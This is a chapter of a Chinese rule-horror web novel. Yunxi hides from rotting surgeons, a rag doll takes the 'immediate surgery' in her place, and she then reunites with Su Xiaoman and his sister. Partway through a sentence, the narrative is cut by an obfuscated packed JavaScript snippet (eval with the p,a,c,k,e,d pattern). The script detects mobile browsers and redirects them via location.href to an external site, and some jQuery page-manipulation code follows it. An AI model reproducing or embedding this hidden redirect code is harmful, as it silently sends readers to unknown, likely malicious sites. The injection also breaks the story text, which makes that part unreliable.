房门被顶开,手术推车缓缓进入。
云汐在经过门口时,也看到了门上【手术室-D】的标牌。
不过房间内却还大致保持着501病房的原本布置,只是原本放病床的地方已经腾空。
而同时,那些时空转换的规则,也在和手术推车一起渗透进来。
腐败的黑色脉络从门口向着房间内蔓延。
【这吃相……真是有点急不可耐啊……】
云汐恍惚地想着。
看起来,“立即手术”这条规则的优先级确实很高。
来自外科楼的规则力量,还没有恢复到可以扭曲时空规则,把她直接拖回外科楼的程度。但其中最核心的规则,就已经迫不及待的发动,对她发起了跨时空的追索。
而云汐本以为自己已经做好心理准备了。
但当手术推车在病房中央,吱嘎一声,缓缓停下来的一瞬,一股极大的恐惧骤然攫住了她!
咔嗒——
上方的吸顶灯在亮起的一瞬间,赫然变成了手术台上的无影灯。
核心规则启动。
云汐有极其强烈的预感,她接下来将遭遇一场极度残酷的漫长死亡!
本能的恐惧激发出了她最后的意志,于此同时,她手腕上传来一阵冰刀子扎进骨头一样的阴冷。
云汐意识到,是那个符咒生效了。
她挣扎着起身,才发现不知何时,她身上的束缚带已经覆盖上了一层阴冷的暗色。只要她稍稍一动,那些带子就像朽脆塑料片一样碎散开,咵咵往下掉。
这是好事。
因为云汐着实是没什么挣扎的力气了。
她拼尽全力翻过身,随即支撑不稳地,直接滚跌下床。
云汐感觉自己这比纸还薄的身体简直要原地跌散架了,但她也知道这就是最后的逃生机会。
于是云汐不管不顾地双臂匍匐在地上,想要再往门外爬。
然而此时,门口传来吱吱嘎嘎的声响,伴随着一阵浓烈的腐臭味,一辆放手术器械的小推车,缓缓地推进来。
【来不及了。】
云汐只能原地一滚,直接躲到了手术推车下方。然后奋力伸手,将铺在床上的手术单边缘,拖下来一截,勉强遮住两边。
但手术单到地面,还有十厘米左右的缝隙,床头和床尾更是还差着接近三分之一的距离空着。
而云汐已经不敢再动了。
巡回护士已进入房间,将推车停在手术床旁边,开始整理起器械。紧接着又有巡回护士,推着放消毒用品的推车,停在了手术床的另一侧。
而云汐趴在床下,只能看到推车的滚轮,和护士们腐烂的小腿,在床边缓慢移动。
片刻后,又有几个穿着防护服的主刀医生,走进来,也站在了床旁。
但随即病房内却陷入了一阵极度诡异的安静!
【是了……】
虽然手术前的准备措施已经到位,但缺失了手术对象,一切无法再继续下去了。
云汐想着,心却顷刻间被恐惧攥紧。
她趴在地上,视线紧紧盯着手术单下露出来的那些脚。
医护人员都一动不动。
但云汐有强烈的预感,周围的这些玩意儿会在某一瞬,意识到她就在床下,然后弯下腰来拖她。
这种死亡逐渐逼近的强烈恐惧,让云汐的心理防线渐渐濒临失控。
有一瞬间,她甚至觉得要不然她就直接爬出去,对着床边的主刀医生脚腕咬上一口,临死前给这些玩意儿破个皮,也比呆在这里等死强!
而最终,在心里承受力彻底崩溃前,云汐用最后的理智控制着自己,移开视线,抬头,去寻找墙上的小电视。
小电视是正对着病床方向的。
所以现在,她应该能从小电视的反光里,观察一下床旁边到底是什么情况。
云汐这样想着。
然而当她的目光落在小电视屏幕上的一瞬,第一时间注意到的却不是手术床周围的医护,而是手术床头上的两个小红点。
是……那个布娃娃。
云汐几乎都要忘记这回事了。
而此时,布娃娃正端坐在床头柜上,头正朝着小电视。两个大红的圆纽扣做成的眼睛,正反射着诡异的光。
【它在……看我。】
云汐意识到这点的一瞬间,猛地——
一颗倒垂的腐烂头颅,骤然探出,几乎和云汐脸对脸。
“嗬!”
巡回护士猛地张大嘴,缠满绷带的面孔变形扭曲,用从喉间喷出的粗重气流,发出一声嘶嚎。
它也发现她了。
云汐的意识随即一空。
她忽然感觉自己的体表,骤然变得僵直、麻木,而同时身体内变得很空,像是……被塞满了棉花。
意识迷糊中,云汐隐约感到有刀在不停割她的身体,有针线不停在她的身上,来回的缝。
但云汐没有感觉到痛。
就好像她的身体是用布和棉花做成的。
而棉花嘛,当然不会觉得痛了。
这样想着,云汐觉得很心安。
……
……云汐不知道自己是在什么时候失去意识的。
当她再度睁开眼时,发现自己正趴在病床下。她懵懵懂懂地转头,看到病房的阳台上,天光大亮。
云汐晕晕乎乎地爬起来,感觉四肢都不是很听使唤。
不过,这种感觉倒不是趴着过了一晚的僵硬,而是有点像手和脚都踩在棉花里的那种绵软。
她探起身,抓了几下,才扒着床边上,慢慢站起来。
身体的力气在快速恢复。
云汐一边感受着力量一点点回到体内,一边上上下下地摸摸自己。
她身体上,新新旧旧、大大小小的伤口,几乎完全恢复了。
云汐正困惑的琢磨着自己这到底算是怎么回事,一抬头,看到病床上的布娃娃。
此时娃娃浑身上下都被割的稀烂,右脚更是被整只扯下来。体内的棉花也全部被掏出来,撒了满床。
它两只眼睛上,还各插着一柄手术刀。
从前向后,手术刀插烂了那两只做眼睛的圆纽扣,穿透了整个头颅,将娃娃钉在床面上。
……一股颤栗从云汐的脚跟一直沿着脊骨爬上来!
她非常清楚,此刻躺在床上被千刀万剐、剖心挖腹的,应该是她才对。
心底升上来的一阵恶寒,让云汐整个人都僵直了片刻。
直到她看到床上的碎棉花之间,躺着的那块出厂标签。
出厂标签也被割得稀烂了,但云汐却依然靠着记忆,认出了标签上的字——
【乖乖娃娃床头挂,伤口流脓脸长疤。】
【打针吃药割棉花,娃娃再也不痛啦!】
……云汐有些明白了。
这是一个患病娃娃。
它出厂时的使命,就是和患病的孩子们一起,分担苦痛和歧视。
而在经过规则扭曲后,它变成了一个替身娃娃。
云汐并不清楚为什么这个替身娃娃,会忽然出现在她的衣柜里。
或许,它是被某种力量塞进来帮助她的;
或许,它才是这个病房的“原住民”;
又或许,它真的只是在控制系统失效时,凑巧跑进她的衣柜来藏身……
但不论如何,昨晚是它代替她,承受了那一场“立即执行”的手
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15869165|170536||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
术。
甚至连同她之前脚腕上的骨折,以及其他大大小小的伤,也都被转移了过去,由娃娃一并承担了。
“……谢谢。”云汐轻声对娃娃道。
娃娃被划烂的脸上,嘴角依然上扬着,露出一个渗人的诡笑。
但它却没有发出任何动静。
就好像这一次,它已经彻底死亡,不会再对任何事情有任何回应了。
云汐心中顿时有些难过。
此时,门口传来一些悉悉索索的动静。
云汐愣了愣,看看天色。
这个时候,病房区域不应该有什么问题啊……
她带着疑惑,过去拉开门。
门口,苏小满蹲在地上,把一碗黄澄澄的鸡蛋羹摆在门边,正要拜一拜。
但他才刚刚起个手,头还没拜下去,门就开了。
云汐就站在门口,和他相互对视了片刻。
“啊啊啊啊啊啊!”苏小满陡然回过神来,惨叫着手脚并用的向后爬。
云汐悚然一惊!
“什么什么什么?!”
她以为是娃娃还魂来追杀她了!连忙一边慌乱地回头看身后,一边跟着苏小满一起跑。
但是等她追着苏小满跑出去两步,发现身后其实什么都没有。
而苏小满却哇哇乱叫得更厉害了!
云汐有点迟钝的反应过来,苏小满好像是在害怕她……?
她一脸疑惑地停下:
“诶,不是,你跑什么啊?”
苏小满吓得都快尿裤子了,听到云汐出声,他才猛的一僵,然后忽然反应过来:
“诶,不是,汐汐姐,你不是鬼啊?!”
他转身,眼睛瞪得溜圆,然后一下原地蹦起来三尺高地,又惊又喜地冲回云汐身边,拉起云汐的手,都快感动哭了:
“太好了!我还在想,汐汐姐你当人的时候都那么猛了,这下再变成规则厉鬼,可要我咋整呢!!哈哈哈哈,我们不用自相残杀真是太好了!!!”
苏小满整个又笑又哭的,很明显不用和厉鬼云汐拼命这件事,让他瞬间快乐得跟个八岁孩子似的。
“……”
云汐有点无语。
不过末了,她咂咂嘴,回过味来,也是一个没憋住,破功地跟苏小满一起大笑起来。
这两个“劫后余生”的快乐傻子,就这样手牵着手,一起笑出眼泪地,在病房前瞎蹦跶着。
快乐得跟两个八岁孩子似的。
但才蹦跶了两下,云汐就忽然意识到,走廊上还有人在看他们。
她立刻一个顿步,默默停下,然后扯了扯还在独自转圈圈的苏小满。
“这个……”
云汐试图向对面的人解释解释,她现在精神状态其实挺健康的,没有看起来那么令人担忧。
而苏小满停下来一转头:
“嗨呀,姐!”
他登时放开云汐,开心地朝他姐蹦哒过去,嘴里还不停欢呼:
“姐!你快看啊,汐汐姐,大活人!!!”
苏白露白了他一眼,伸手推开过于激动的苏小满,快步过来,抓起云汐的手腕。
感觉到云汐手上的温热气息,苏姐姐心中一酸,随即又眼角一红。
她直把云汐的手按在自己胸口,眼神微润地对云汐叨叨着:
“好,好,你人没事就好。”
她一边说着,一边又伸手过来,摸了摸云汐的额头。
……云汐顿了顿,意识到,苏姐姐怕是看到刚刚那一幕,有点担心她是被烧坏脑子了。
她在心里咂咂嘴,最终没说什么,只任由苏姐姐打量。
而在苏姐姐身后,谢医生也跟了过来。